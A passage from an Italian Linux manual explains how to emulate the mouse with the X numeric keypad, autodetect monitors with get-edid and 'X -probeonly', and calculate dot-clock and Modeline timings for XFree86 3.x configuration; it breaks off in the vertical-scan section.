L'utilizzo del sistema grafico senza mouse, o senza un dispositivo equivalente, può essere importante in condizioni di emergenza, o comunque quando il tipo di mouse che si ha a disposizione potrebbe risultare più scomodo che altro.

I serventi grafici di X offrono queste funzionalità attraverso il tastierino numerico, dopo aver attivato le estensioni della tastiera. Perché ciò sia possibile è necessario che nel file di configurazione sia commentata l'istruzione che si in questo esempio, oppure che sia assente del tutto:

```
# Option    XkbDisable
```

Per abilitare l'uso del tastierino numerico in modo che possa sostituirsi al mouse occorre utilizzare la combinazione [*Ctrl Maiuscole BlocNum*] («control», «maiuscole», «blocco-numeri»). Se la combinazione riesce si ottiene una segnalazione sonora (se si ripete la combinazione si disabilita l'uso del tastierino).

Da quel momento, si possono utilizzare i tasti [*4*], [*8*], [*6*] e [*2*], per spostare il puntatore rispettivamente verso sinistra, in alto, a destra e in basso. Inoltre, si possono usare anche i tasti [*7*], [*9*], [*3*] e [*1*], per ottenere degli spostamenti obliqui. Questi spostamenti potrebbero essere piuttosto lenti in condizioni normali; per accelerarli, mentre si tiene premuto il tasto che si riferisce alla direzione scelta, si può premere e rilasciare immediatamente un altro tasto, scegliendolo in modo tale che in quel momento non abbia un significato particolare; probabilmente la cosa migliore è usare per questo il tasto delle maiuscole.

Per emulare i tasti del mouse si utilizzano gli altri tasti del tastierino numerico: [*5*] corrisponde a un clic; [*+*] corrisponde a un clic doppio; [*0*] rappresenta la pressione di un tasto senza rilasciarlo; [*.*] rilascia il tasto del mouse. In condizioni normali, ciò corrisponde al primo tasto del mouse, ma si può specificare precisamente il tasto attraverso una combinazione con i tasti [*/*], [***] e [*-*], che rappresentano rispettivamente il primo, il secondo (quello centrale) e il terzo tasto del mouse. Per esempio, [** 5*] corrisponde a un clic con il tasto centrale del mouse.

Figura 31.53. Comandi per l'emulazione del mouse con X.

X, dopo un po' di tempo in cui non si utilizza più il tastierino numerico in sostituzione del mouse, ne disabilita l'emulazione in modo automatico.

31.6 Approfondimento: monitor, adattatore grafico e frequenza dot-clock

Quando si vuole configurare XFree86 nelle versioni 3.* e qualcosa va storto, oppure non si riesce a ottenere quello che si vuole esattamente attraverso uno dei vari programmi già descritti nel capitolo precedente, può essere necessario mettere mano alle sezioni '**Monitor**', '**Device**' e '**Screen**' del file '/etc/X11/XF86Config'. Tra tutte, la sezione '**Monitor**' è la più difficile per il principiante, a causa delle direttive '**Modeline**' o '**Mode**', in cui si devono indicare una serie di numeri più o meno oscuri.

In questo capitolo si mostra in che modo calcolare i valori delle modalità video. Una scelta impropria di questi valori, potrebbe causare problemi, fino ad arrivare al danneggiamento del monitor. Si prega di intervenire con prudenza ed eventualmente anche di leggere *XFree86 Video Timings HOWTO* di Eric S. Raymond.

31.6.1 Autorilevamento con Read-edid

Read-edid[11] è un piccolo sistema di programmi in grado di scandire l'adattatore grafico e il monitor, allo scopo di ottenere le informazioni necessarie a configurare correttamente programmi come XFree86. Si compone precisamente di '**get-edid**' e di '**parse-edid**'.

Il programma '**get-edid**' esegue la scansione dell'adattatore grafico e attraverso di questo anche del monitor. Il risultato della scansione è un file binario emesso attraverso lo standard output, mentre attraverso lo standard error si ottengono altre informazioni diagnostiche. Per esempio, si può ignorare temporaneamente il risultato emesso dallo standard output per osservare tali notizie diagnostiche:

`# `**`get-edid 1> /dev/null`** [*Invio*]

Si potrebbe ottenere un risultato simile a quello seguente:

```
get-edid: get-edid version 1.4.1

        Performing real mode VBE call
        Interrupt 0x10 ax=0x4f00 bx=0x0 cx=0x0
        Function supported
        Call successful

        VBE version 102
        VBE string at 0xc098d "S3 Incorporated. Trio64V+"

VBE/DDC service about to be called
        Report DDC capabilities

        Performing real mode VBE call
        Interrupt 0x10 ax=0x4f15 bx=0x0 cx=0x0
        Function supported
        Call successful
```

```
        Monitor and video card combination supports DDC1 transfers
        Monitor and video card combination does not support DDC2 transfers
        0 seconds per 128 byte EDID block transfer
        Screen is blanked during DDC transfer

Reading next EDID block

VBE/DDC service about to be called
        Read EDID

        Performing real mode VBE call
        Interrupt 0x10 ax=0x4f15 bx=0x1 cx=0x0
        Function supported
        Call successful
```

In questo caso è stato individuato un vecchio adattatore grafico «Trio64V+».

Per poter leggere il risultato emesso attraverso lo standard error, si usa '**`parse-edid`**':

`#` **`get-edid 2> /dev/null | parse-edid`**[*Invio*]

Ecco quello che si potrebbe ottenere:

```
        # EDID version 1 revision 0
Section "Monitor"
        # Block type: 2:0 3:0
        # Block type: 2:0 3:0
        # Block type: 2:0 3:0
        Identifier "PHL:0012"
        VendorName "PHL"
        ModelName "PHL:0012"
        # Block type: 2:0 3:0
        # Block type: 2:0 3:0
        # Block type: 2:0 3:0
        # DPMS capabilities: Active off:yes  Suspend:yes  Standby:yes

        Mode    "640x400"       # vfreq 70.072Hz, hfreq 31.462kHz
                DotClock        25.170000
                HTimings        640 656 752 800
                VTimings        400 412 414 449
                Flags   "+HSync" "-VSync"
        EndMode
        # Block type: 2:0 3:0
        # Block type: 2:0 3:0
        # Block type: 2:0 3:0
EndSection
```

In pratica, con questo risultato si può compilare la sezione '**`Monitor`**' del file di configurazione di XFree86.

31.6.2 Autorilevamento con un servente XFree86 versione 3.*

Quando non si conoscono tutte le caratteristiche del proprio adattatore grafico, è possibile utilizzare un servente X con l'opzione '**-probeonly**' per vedere cosa questo riesce a determinare da solo. Alcuni parametri sono sensibili al carico del sistema, per cui, questo tipo di prova deve essere fatto quando non si effettuano altre attività.

Qui si sta facendo riferimento all'uso di un servente XFree86 versione 3.*. Pertanto, il file di configurazione di partenza che viene proposto, rispecchia la sintassi relativa a quelle versioni e non può funzionare per una versione 4.*.

È il caso di utilizzare un servente più o meno generico, per esempio quello per gli adattatori SVGA ('**XF86_SVGA**'), che deve essere stato installato. Per stimolare l'autorilevamento, è necessario che le voci corrispondenti non siano presenti nel file di configurazione '`/etc/X11/XF86Config`' (o siano commentate). Un file come quello seguente, dove le sezioni '**Monitor**', '**Device**' e '**Screen**' sono quasi vuote, dovrebbe andare bene per cominciare lo studio del proprio adattatore grafico:

```
Section "Files"
    RgbPath     "/etc/X11/rgb"
    FontPath    "/usr/lib/X11/fonts/misc/"
    FontPath    "/usr/lib/X11/fonts/Type1/"
    FontPath    "/usr/lib/X11/fonts/Speedo/"
    FontPath    "/usr/lib/X11/fonts/75dpi/"
    FontPath    "/usr/lib/X11/fonts/100dpi/"
EndSection

Section "ServerFlags"
    # DontZap
    # DontZoom
EndSection

Section "Keyboard"
    Protocol    "Standard"
    AutoRepeat  500 5
    Xkbkeycodes "xfree86"
    XkbTypes    "default"
    XkbCompat   "default"
    XkbSymbols  "en_US(pc102)+it"
    XkbGeometry "pc"
EndSection

Section "Pointer"
    Protocol    "microsoft"
    Device      "/dev/mouse"
    Emulate3Buttons
    Emulate3Timeout    50
EndSection
```

```
Section "Monitor"
    Identifier  "Monitor generico"
EndSection

Section "Device"
    Identifier  "SuperVGA"
EndSection

Section "Screen"
    Driver      "svga"
    Device      "SuperVGA"
    Monitor     "Monitor generico"
    Subsection "Display"
        Modes       "640x400" "640x480" "640x480.28" "800x600"
    EndSubsection
EndSection
```

Si avvia quindi '**X**', come utente '**root**', con l'opzione '**-probeonly**', salvando lo standard output e lo standard error in un file ('**X**' è un collegamento simbolico al file binario del servente grafico prescelto).

Purtroppo, è necessario tenere in considerazione che questo tipo di prove può modificare l'aspetto dei caratteri sullo schermo, o bloccarlo del tutto. Per cui, se non si hanno alternative, si rischia di dover riavviare il sistema.

`#` **`X -probeonly > /tmp/x.tmp 2>&1`** [*Invio*]

Se tutto è andato bene, il file '`/tmp/x.tmp`' generato dal comando, dovrebbe contenere un risultato simile a quello seguente, che viene sezionato per descriverlo in dettaglio.

```
XFree86 Version 3.3.2 / X Window System
(protocol Version 11, revision 0, vendor release 6300)
Release Date: March 2 1998
        If the server is older than 6-12 months, or if your card is newer
        than the above date, look for a newer version before reporting
        problems.  (see http://www.XFree86.Org/FAQ)
Operating System: Linux 2.0.34 i686 [ELF]
```

La parte iniziale presenta la versione del servente e del sistema operativo utilizzato.

```
Configured drivers:
  SVGA: server for SVGA graphics adaptors (Patchlevel 0):
      NV1, STG2000, RIVA128, ET4000, ET4000W32, ET4000W32i,
      ET4000W32i_rev_b, ET4000W32i_rev_c, ET4000W32p, ET4000W32p_rev_a,
…
      s3_svga, ct65520, ct65525, ct65530, ct65535, ct65540, ct65545,
      ct65546, ct65548, ct65550, ct65554, ct65555, ct68554, ct64200,
      ct64300, generic
```

Segue quindi l'indicazione del tipo di servente grafico avviato (SVGA) e l'elenco di tutti i nomi degli adattatori grafici gestibili con questo.

```
(using VT number 7)
```

Il servente grafico utilizzerebbe (se avviato normalmente) il posto della console virtuale numero sette.

```
XF86Config: /usr/lib/X11/XF86Config
```

È stata letta la configurazione del file '`/usr/lib/X11/XF86Config`' (in questo caso si tratta di un collegamento simbolico a '`/etc/X11/XF86Config`').

Dopo questo punto segue un elenco di informazioni, in parte definite all'interno del file di configurazione e in parte determinate in modo automatico.

```
(**) stands for supplied, (--) stands for probed/default values
```

Le informazioni fornite attraverso il file di configurazione sono prefissate dal simbolo '**`(**)`**', mentre quelle predefinite o determinate dall'interrogazione dell'adattatore grafico, sono prefissate dal simbolo '**`(--)`**'.

```
(**) XKB: keycodes: "xfree86"
(**) XKB: types: "default"
(**) XKB: compat: "default"
(**) XKB: symbols: "en_US(pc102)+it"
(**) XKB: geometry: "pc"
(**) Mouse: type: microsoft, device: /dev/mouse, baudrate: 1200
(**) Mouse: buttons: 3, 3 button emulation (timeout: 50ms)
(**) SVGA: Graphics device ID: "SuperVGA"
(**) SVGA: Monitor ID: "Monitor generico"
(**) FontPath set to "/usr/lib/X11/fonts/misc/,…
```

Dato l'esempio proposto, le informazioni sulla tastiera, il mouse e i percorsi dei tipi di carattere, sono prelevati dal file di configurazione. In particolare, si osserva che da quel file, sono state prese in considerazione la sezione '**`Device`**' denominata '**`SuperVGA`**' e la sezione '**`Monitor`**' denominata '**`Monitor generico`**'.

```
(--) SVGA: PCI: S3 ViRGE/DX or /GX rev 1, Memory @ 0xe0000000
(--) SVGA: S3V: ViRGE/DXGX rev 1, Linear FB @ 0xe0000000
(--) SVGA: Detected S3 ViRGE/DXGX
(--) SVGA: using driver for chipset "s3_virge"
```

L'adattatore grafico è una scheda S3 ViRGE/DXGX, per la quale verrebbe utilizzato il *driver* '**s3_virge**'. Tuttavia, data la circostanza, converrebbe utilizzare un servente grafico differente per questo adattatore; precisamente '**XF86_S3V**'.

```
(--) SVGA: videoram:  4096k
(--) SVGA: Ramdac speed: 170 MHz
(--) SVGA: Detected current MCLK value of 42.955 MHz
(--) SVGA: chipset:  s3_virge
(--) SVGA: videoram: 4096k
(**) SVGA: Using 8 bpp, Depth 8, Color weight: 666
(--) SVGA: Maximum allowed dot-clock: 170.000 MHz
```

Seguono altre informazioni molto importanti, come la quantità di memoria video e la frequenza massima di dot-clock. Si osservi in particolare la profondità di colori indicata: 8 bit/pixel (8 bit per punto). L'informazione è preceduta dal simbolo '**(**)**' perché il tipo di servente grafico permette la gestione di un massimo di 8 bit/pixel (256 colori), per cui è questo il valore fissato, benché l'adattatore grafico permetta ben altri livelli di profondità.

31.6.2.1 Dot-clock

Una delle informazioni più delicate dell'adattatore grafico è la frequenza del cosiddetto ***dot-clock***. Il significato di questo parametro viene descritto più avanti, tuttavia è bene sapere subito che si può manifestare in modi differenti.

Nell'esempio mostrato, appare l'indicazione di un livello massimo.

```
(--) SVGA: Maximum allowed dot-clock: 170.000 MHz
```

In altre situazioni, può essere fornita una o più righe con un elenco di valori di dot-clock, come nell'esempio seguente:

```
(--) xxx: clocks:  25.0  28.0  40.0   0.0  50.0  77.0  36.0  45.0
(--) xxx: clocks: 130.0 120.0  80.0  31.0 110.0  65.0  75.0  94.0
```

In questo secondo caso, è necessario indicare la direttiva '**Clocks**' nella sezione '**Device**' del file '`/etc/X11/XF86Config`', come nell'esempio seguente:

```
Section "Device"
    …
    Clocks    25.0  28.0  40.0   0.0  50.0  77.0  36.0  45.0
    Clocks   130.0 120.0  80.0  31.0 110.0  65.0  75.0  94.0
EndSection
```

Quando invece la frequenza di dot-clock viene indicata solo come valore massimo (come nel caso dell'adattatore S3 ViRGE), non serve indicare alcuna direttiva '**Clocks**'.

31.6.3 Un po' di teoria

Alla base della costruzione dell'immagine da parte dell'adattatore grafico, sta la frequenza di dot-clock, ovvero la frequenza a cui ogni punto che la compone viene emesso. Questa è espressa in megahertz (MHz) e a volte deve essere selezionata da un elenco (quando si deve utilizzare la direttiva '**`Clocks`**'), altre volte può essere programmata liberamente, purché non venga superato il limite massimo.

In linea di massima, l'adattatore grafico VGA elementare tradizionale, ha una frequenza di dot-clock di 25 175 MHz.

Chi lavora con l'informatica potrebbe essere portato a confondersi. In questo caso, megahertz significa esattamente milioni di hertz. Per cui, 25 175 MHz sono esattamente pari a 25 175 000 Hz. Così, kilohertz rappresenta migliaia di hertz, per cui, per esempio, 31,5 kHz corrispondono a 31 500 Hz.

A parità di condizioni, al crescere della risoluzione deve crescere la frequenza di dot-clock. Leggendo il contenuto standard di una vecchia versione 3.* del file '`/etc/X11/XF86Config`', si conoscono i valori minimi delle frequenze di dot-clock per le risoluzioni più comuni. Qui vengono riportate nella tabella 31.68.

Tabella 31.68. Frequenze minime di dot-clock in base alla risoluzione.

Risoluzione	Frequenza di dot-clock minima
640×480	25,175 MHz
800×600	36 MHz
1 024×768 interlacciato	44,9 MHz
1 024×768	65 MHz
1 152×864 interlacciato	65 MHz
1 152×864	92 MHz
1 280×1 024 interlacciato	80 MHz
1 280×1 024	110 MHz
1 600×1 200	162 MHz
1 800×1 440	230 MHz

31.6.3.1 Ampiezza di banda del monitor

L'ampiezza di banda del monitor, o *bandwidth*, rappresenta la frequenza massima del segnale video che il monitor è in grado di gestire. Frequenze superiori vengono semplicemente filtrate, diventando particolari visivi non più percettibili.

In linea di principio, la frequenza di dot-clock utilizzata nell'adattatore grafico dovrebbe essere inferiore o uguale al valore massimo della frequenza del segnale video gestibile con il monitor, cioè al valore dell'ampiezza di banda.

31.6.3.2 Scomposizione e scansione dell'immagine sul monitor

L'immagine che appare sullo schermo di un monitor può essere descritta, in modo semplificato, come l'insieme di una serie di righe, composte a loro volta da punti. La prima forma di rappresentazione di un'immagine di origine elettronica è stata quella del tubo a raggi catodici e da questo tipo di tecnologia derivano le soluzioni adottate per la sua composizione.

Figura 31.69. La scansione di un'immagine.

(inizio)

(fine)

Le righe di un'immagine video vengono disegnate da un «pennello» ideale, che inizia la sua scansione in una posizione dello schermo in alto a sinistra, muovendosi verso destra e ricominciando sempre dal lato sinistro della riga successiva. Giunto alla fine dello schermo, riprende dalla posizione superiore sinistra.

Il pennello di scansione, una volta che ha terminato una riga, prima di poter riprendere con la riga successiva, deve avere il tempo necessario per posizionarsi all'inizio di questa. Nello stesso modo, quando il pennello di scansione giunge alla fine dell'ultima riga, deve avere il tempo di ritornare all'inizio dello schermo, cioè nella posizione estrema in alto a sinistra.

Figura 31.70. Il ritorno all'inizio dopo la scansione di un'immagine completa.

(inizio)

(fine)

Un'immagine completa è un ***quadro***, o *frame*, ma un quadro potrebbe essere ottenuto con un'unica scansione, dall'inizio alla fine dello schermo, oppure dalla somma di due ***semiquadri***. In questo ultimo caso si usa la tecnica dell'interlacciamento, in cui le righe dei due semiquadri

si affiancano senza accavallarsi. La figura 31.71 mostra il caso di un quadro composto da un numero di righe pari.

Figura 31.71. Due semiquadri di una scansione interlacciata.

L'interlacciamento è nato come un metodo per ridurre lo sfarfallio dell'immagine nel sistema televisivo tradizionale. Per esempio, in Europa i quadri si susseguono a una frequenza di 25 Hz, un valore troppo basso perché l'occhio umano non si accorga dello sfarfallio. Così, attraverso l'interlacciamento, le immagini trasmesse vengono scomposte in due parti, visualizzate in sequenza a una frequenza di 50 Hz, considerata accettabile per quel tipo di utilizzo, anche se questo può comunque provocare strani effetti alla percezione dei particolari.

In generale, a parità di frequenza di quadro, è preferibile un'immagine interlacciata per ridurre l'effetto dello sfarfallio.

Da quanto affermato si può intendere che l'immagine video sia prodotta come una sequenza lineare di punti e di pause, necessarie al ritorno all'inizio di una riga successiva, di un quadro o di un semiquadro successivo.

Figura 31.72. Rappresentazione schematica dello scorrere del segnale video, con le pause tra riga e riga e tra quadro e quadro.

Il monitor su cui si visualizza il segnale video, deve avere un modo per sapere quando inizia un quadro e quando inizia ogni riga. Le pause necessarie al ritorno del pennello di scansione, vengono usate per sincronizzare la scansione stessa.

31.6.3.3 Frequenza, durata e lunghezza

La frequenza di dot-clock è una sorta di orologio che scandisce il tempo del segnale video. Un ciclo di questa frequenza rappresenta un punto dell'immagine. Questa frequenza si esprime in megahertz, per cui, una frequenza di dot-clock di 25,175 indica che in un secondo possono essere visualizzati 25 175 000 punti (si deve tenere presente che si tratta di valori teorici).

Seguendo questo ragionamento, le «misure» dell'immagine potrebbero essere valutate in quantità di dot-clock.

In tutto si utilizzano tre tipi di unità di misura per ciò che riguarda la composizione delle immagini: frequenze, riferite ai cicli di scansione delle righe e dei quadri; durate, riferite alle pause tra le righe e tra i quadri; lunghezze, pari alla traduzione di questi valori in unità di dot-clock.

Ricapitolando quanto già esposto nella sezione precedente, l'immagine video è composta da quadri che a loro volta si scompongono in righe. Le righe vengono scandite a una certa frequenza, definita come ***frequenza orizzontale***, e così anche i quadri, ***frequenza di quadro***. Queste frequenze possono essere tradotte in «lunghezze», riferite a unità di dot-clock. Per esempio, la frequenza orizzontale di 31,5 kHz (31 500 Hz), misurata con un dot-clock di 25,175 MHz, si traduce in una lunghezza di riga pari a 799,2 punti (25 175 000 / 31 500 = 799,2).

Quando si valutano grandezze riferite alla scansione verticale dell'immagine, per esempio la frequenza di quadro, si utilizzano lunghezze riferite al numero di righe. Continuando l'esempio precedente, se si aggiunge che la frequenza verticale è di 60 Hz, si determina che un quadro è composto da circa 419 583 dot-clock, pari a circa 525 righe.

Come già affermato, anche lo scorrere del tempo può essere valutato in unità dot-clock. Per esempio, un intervallo di tempo di 3,8 μs (microsecondi, ovvero milionesimi di secondo) è lungo 95,6 dot-clock (25 175 000 * 0,000 003 8 = 95,6).

31.6.3.4 Definizioni, concetti ed equazioni

La documentazione di XFree86 utilizza alcune definizioni che conviene elencare e chiarire. Le sigle indicate fanno volutamente riferimento a quelle utilizzate nel *XFree86 Video Timings HOWTO*.

- ***Frequenza di sincronizzazione orizzontale***, *Horizontal sync frequency*, HSF

  La frequenza di scansione orizzontale delle righe sullo schermo. Generalmente si tratta di una grandezza espressa in kilohertz.

- ***Frequenza di sincronizzazione verticale***, *Vertical sync frequency*, VSF

  La frequenza di scansione verticale dei semiquadri, o dei quadri, sullo schermo. Quando l'immagine viene composta attraverso semiquadri interlacciati, si tratta della frequenza di scansione dei semiquadri stessi, altrimenti si tratta della stessa frequenza di scansione dei quadri interi.

- ***Frequenza di quadro***, ***frequenza di frame***, *Vertical refresh rate*, RR

  La frequenza di scansione verticale dei quadri interi (*frame*).

- ***Frequenza di dot-clock***, *Dot-clock frequency*, DCF

  La frequenza di dot-clock, espressa generalmente in megahertz.

- ***Ampiezza di banda video***, *Video bandwidth*, VB

  La frequenza massima per il segnale video accettato dal monitor. Questo valore dovrebbe essere maggiore o uguale a quello del dot-clock, ma anche valori inferiori a questo permettono ugualmente di vedere qualcosa. In generale, il livello minimo dell'ampiezza di banda deve essere almeno superiore alla metà della frequenza di dot-clock.

- ***Ampiezza orizzontale***, *Horizontal frame length*, HFL

  Si tratta della lunghezza totale di una riga, espressa in dot-clock. Questa dimensione deve includere la parte visibile e la pausa prima dell'inizio della riga successiva.

- ***Ampiezza verticale***, *Vertical frame length*, VFL

  Si tratta dell'altezza totale di un quadro intero, espressa in righe. Questa dimensione deve includere la parte visibile e la pausa prima dell'inizio del quadro successivo.

- ***Risoluzione orizzontale***, *Horizontal resolution*, HR

  La risoluzione orizzontale, espressa in punti o dot-clock, della parte visibile dell'immagine. Per definizione, si tratta di un valore inferiore dell'ampiezza orizzontale (HFL).

- ***Risoluzione verticale***, *Vertical resolution*, VR

  La risoluzione verticale, espressa in righe, della parte visibile dell'immagine. Per definizione, si tratta di un valore inferiore dell'ampiezza verticale (VFL).

Alcune equazioni elementari possono aiutare a collegare i vari pezzi del mosaico.

- HSF = DCF / HFL

  La frequenza di scansione orizzontale equivale alla frequenza di dot-clock divisa per la lunghezza completa della riga (espressa in dot-clock).

- RR = DCF / (HFL * VFL)

  La frequenza di scansione di un quadro intero equivale alla frequenza di dot-clock divisa per il prodotto della lunghezza completa della riga e il numero complessivo delle righe.

  La frequenza di sincronizzazione verticale è pari al doppio di RR quando si utilizzano semiquadri interlacciati, altrimenti corrisponde al valore di RR.

- DCF = RR * HFL * VFL

  Derivata dalla precedente. La frequenza di dot-clock si ottiene con il prodotto della frequenza di scansione di un quadro intero, la lunghezza completa della riga e il numero complessivo delle righe.

31.6.3.5 Multipli di otto e rapporto 4/3

Una particolarità comune dei valori che riguardano la risoluzione di un'immagine, è l'essere un multiplo di otto. Se si osserva, valori come 640×480, 800×600, 1024×768,... sono numeri divisibili per otto, senza lasciare alcun resto.

Un gran numero di adattatori grafici accetta determinati tipi di valori solo se sono multipli di otto. Per questo, in generale, per tutte le «lunghezze» orizzontali, quindi ciò che si esprime in punti o in dot-clock e riguarda la riga, si deve avere l'accortezza di usare multipli di otto. Questo particolare viene chiarito meglio in seguito.

Data la tradizione televisiva, il formato più comune della visualizzazione su monitor è 3/4, cioè la risoluzione verticale (il numero delle righe visibili) è il 75 % rispetto alla risoluzione orizzontale (il numero di punti visibili per riga). Questa regola non è obbligatoria. L'unico vincolo sono i multipli di otto per le grandezze che riguardano la scansione orizzontale.

31.6.3.6 Utilizzo della memoria video

L'immagine che appare sullo schermo di un monitor viene generata all'interno di una matrice contenuta in una memoria, che poi viene scandita nel modo che è stato spiegato. All'interno di questa memoria si deve conservare solo la parte di immagine visibile effettivamente, escludendo le pause inserite per facilitare il compito del pennello di scansione del monitor.

La memoria disponibile pone un limite alla risoluzione massima e alla ***profondità*** dell'immagine. A seconda del numero di colori o di sfumature che si vogliono rappresentare, deve essere impiegato un numero più o meno grande di bit per ogni punto dell'immagine. Se n è il numero di bit messo a disposizione per ogni punto, il numero di colori o sfumature disponibile è di 2^n. Nello stesso modo, conoscendo la memoria disponibile e la risoluzione che si vuole ottenere, si determina quanti siano i colori ottenibili per ogni punto.

Per esempio, se si dispone di 1 Mibyte, pari a 1048576 byte, cioè 8388608 bit, volendo ottenere una risoluzione (visibile) di 800×600 punti, si ottiene che per ogni punto sarebbero disponibili 17 bit (8388608 / (800 * 600)).

Tuttavia, di solito, il numero di bit che può essere utilizzato per definire la profondità di un'immagine è limitato a valori ben precisi: 2 bit (bianco/nero), 4 bit (16 colori), 8 bit (256 colori), 16 bit (64 Kicolori), 24 bit (16 Micolori), 32 bit (4 Micolori),...

> Si osservi che in alcune circostanze, vale anche per la profondità di colori la regola del multiplo di otto; per esempio, di solito si ha a che fare con profondità da 8 bit, 16 bit, 24 bit e 32 bit.

31.6.3.7 Impulsi di sincronismo

Fino a questo momento sono state descritte le immagini video come qualcosa formato da righe visibili, collegate tra loro da delle pause, a formare dei quadri (o dei semiquadri), i quali si collegano tra loro con delle pause più grandi. Quando si è accennato ai concetti di ampiezza orizzontale e verticale, si è sottolineato il fatto che queste grandezze devono includere anche le pause relative.

Ma le pause da sole non bastano. Al loro interno si inseriscono degli impulsi di sincronismo, senza i quali queste non sarebbero riconosciute dal monitor.

Figura 31.73. Righe e impulsi di sincronismo.

L'impulso di sincronismo orizzontale ha una durata che può variare da monitor a monitor, ma in ogni caso si esprime in un'unità di tempo che resta costante al variare della frequenza dot-clock. Generalmente sono accettabili valori compresi tra 3,5 μs e 4,0 μs (microsecondi). La figura 31.73 mostra schematicamente gli elementi che compongono una riga completa: la parte visibile, definita come risoluzione orizzontale (HR), un tempo di guardia precedente all'impulso di sincronismo (HTG), l'impulso di sincronismo (HSP), un tempo di guardia finale. Quindi ricomincia un'altra riga.

Il tempo di guardia iniziale e finale è importante come l'impulso di sincronismo, tuttavia viene definito normalmente in modo approssimativo, salvo aggiustamenti successivi. In generale, un tempo di guardia medio di 30 dot-clock dovrebbe andare bene. È importante osservare subito che di solito il tempo di guardia iniziale e finale non sono simmetrici.

In maniera analoga funziona il sincronismo verticale. Si ha un tempo di guardia iniziale (VTG, *Vertical time guard*), un impulso di sincronismo verticale (VSP) e un tempo di guardia finale. L'impulso di sincronismo dovrebbe oscillare tra i 50 μs e i 300 μs (microsecondi).

31.6.3.8 Tradurre i valori in unità dot-clock e in quantità di righe

La definizione dei vari elementi che compongono l'immagine deve essere fatta attraverso due unità di misura uniformi: dot-clock per ciò che riguarda la scansione orizzontale e righe per la scansione verticale.

Si è accennato al fatto che il tempo di guardia orizzontale può aggirarsi attorno a un valore di 30 dot-clock, senza bisogno di fare altri calcoli, mentre il problema si pone per trasformare il tempo dell'impulso di sincronismo in dot-clock. Basta moltiplicare la frequenza di dot-clock per il tempo. La frequenza è espressa in hertz e il tempo in secondi.

Lunghezza in dot-clock = DCF * tempo

Per riprendere un esempio già fatto, se si utilizza una frequenza di dot-clock di 25,175 MHz e si vuole misurare un intervallo di 3,8 μs, si ottiene una lunghezza di 95,6 dot-clock (25175000 * 0,0000038).

Il vero problema, quando si fa riferimento a grandezze orizzontali, è il fatto che queste devono essere espresse in multipli di otto. Molte approssimazioni nei calcoli relativi, che per il momento non sono ancora state mostrate, derivano da questa esigenza.

Il tempo di guardia verticale, a seconda del tipo di monitor utilizzato, potrebbe essere assente del tutto, oppure potrebbe essere richiesto un massimo di tre righe. Eventualmente, un tempo di guardia maggiore del necessario, non può essere dannoso.

Il calcolo della lunghezza dell'impulso di sincronismo verticale, in termini di righe, è un po' più complesso. Uno dei modi possibili è quello di definire prima la lunghezza in dot-clock e quindi di convertirla in righe, dividendo questo valore per la lunghezza complessiva della riga.

Lunghezza VSP = (DCF * tempo) / HFL

Riprendendo l'esempio precedente, aggiungendo che una riga ha la lunghezza complessiva di 800 dot-clock, volendo calcolare un impulso di sincronismo verticale di 64 μs circa, si ottengono due righe ((25175000 * 0,000064) / 800).

31.6.4 Configurazione della sezione «Monitor» di «XF86Config»

Quanto descritto fino a questo momento serve per chiarire il significato delle direttive contenute nella sezione '**`Monitor`**' del file di configurazione di XFree86: '`/etc/X11/XF86Config`'. Viene proposto un esempio:

```
Section "Monitor"
    Identifier  "Monitor generico"
    HorizSync   31.5, 35.15
    VertRefresh 50-70

    # 640x400 @ 70 Hz, 31.5 kHz hsync
    Modeline "640x400"     25.175 640  664  760  800   400  409  411  450

    # 640x480 @ 60 Hz, 31.5 kHz hsync
    Modeline "640x480"     25.175 640  664  760  800   480  491  493  525

    # 800x600 @ 56 Hz, 35.15 kHz hsync
    Modeline "800x600"     36     800  824  896 1024   600  601  603  625
EndSection
```

Si deve osservare che ogni direttiva '**`Modeline`**', o la sua equivalente '**`Mode`**', contiene tutte le informazioni necessarie sul funzionamento del monitor in corrispondenza a quella particolare modalità. Questo significa che le direttive '**`HorizSync`**' e '**`VertRefresh`**' sono solo un'informazione aggiuntiva che serve a permettere un controllo incrociato. Per essere più precisi, il file '`/etc/X11/XF86Config`' potrebbe contenere informazioni su molte modalità di visualizzazione, che vengono selezionate in base alle limitazioni poste dalle direttive '**`HorizSync`**' e '**`VertRefresh`**'.

31.6.4.1 Scomposizione delle informazioni

La direttiva '**`Modeline`**' contiene una serie di notizie che è necessario distinguere per poterne conoscere il significato.

`Modeline` ***nome freq_dot_clock informazioni_scansione_orizz informazioni_scansione_vert opzioni***...

In particolare, le informazioni sulla scansione orizzontale e quelle sulla scansione verticale sono una coppia di quattro numeri distinti (otto in tutto).

```
#          nome          dot          scansione            scansione
#        modalità       clock        orizzontale           verticale
#                                 ------------------   ------------------
Modeline "640x480"      25.175   640   664   760   800   480   491   493   525
```

Le opzioni sono delle parole chiave che possono apparire in coda, in presenza di occasioni particolari, secondo quanto descritto nella documentazione del servente grafico che si utilizza.

È bene ripetere che la direttiva '**`Modeline`**' potrebbe essere sostituita con ***Mode***, una specie di sottosezione molto più leggibile.

```
Mode  nome
     DotClock      frequenza_dot_clock
     HTimings      informazioni_scansione_orizzontale
     VTimings      informazioni_scansione_verticale
     [Flags         opzioni...]
EndMode
```

Segue l'esempio già mostrato sopra.

```
Mode "640x480"
     DotClock     25.175
     HTimings     640   664   760   800
     VTimings     480   491   493   525
EndMode
```

31.6.4.2 Scansione orizzontale

I quattro valori indicati nella direttiva '**`HTimings`**', o quelli che appaiono subito dopo la frequenza di dot-clock nella direttiva '**`Modeline`**', rappresentano i tempi della scansione orizzontale, espressi in unità di dot-clock.

```
risoluzione_orizzontale  inizio_sinc  fine_sinc  ampiezza_orizzontale
```

In pratica, seguendo l'esempio già mostrato, «640 664 760 800» indica che: la risoluzione orizzontale è di 640 punti, o dot-clock, l'impulso di sincronismo orizzontale inizia in corrispondenza del 664-esimo dot-clock e termina con il 760-esimo dot-clock, infine la lunghezza complessiva della riga è di 800 punti.

Con qualche conto si scopre che la frequenza orizzontale necessaria per la scansione con questa modalità è di 31,5 kHz (25 175 000 / 800) e che la durata dell'impulso di sincronismo è di 3,8 μs ((760 – 664) / 25 175 000).

La cosa più importante da osservare è che tutti i valori sono divisibili per otto.

31.6.4.3 Scansione verticale

I quattro valori indicati nella direttiva '**`VTimings`**', o gli ultimi quattro valori della direttiva '**`Modeline`**', rappresentano i tempi della scansione verticale, espressi in quantità di righe.

```
risoluzione_verticale  inizio_sinc  fine_sinc  ampiezza_verticale
```

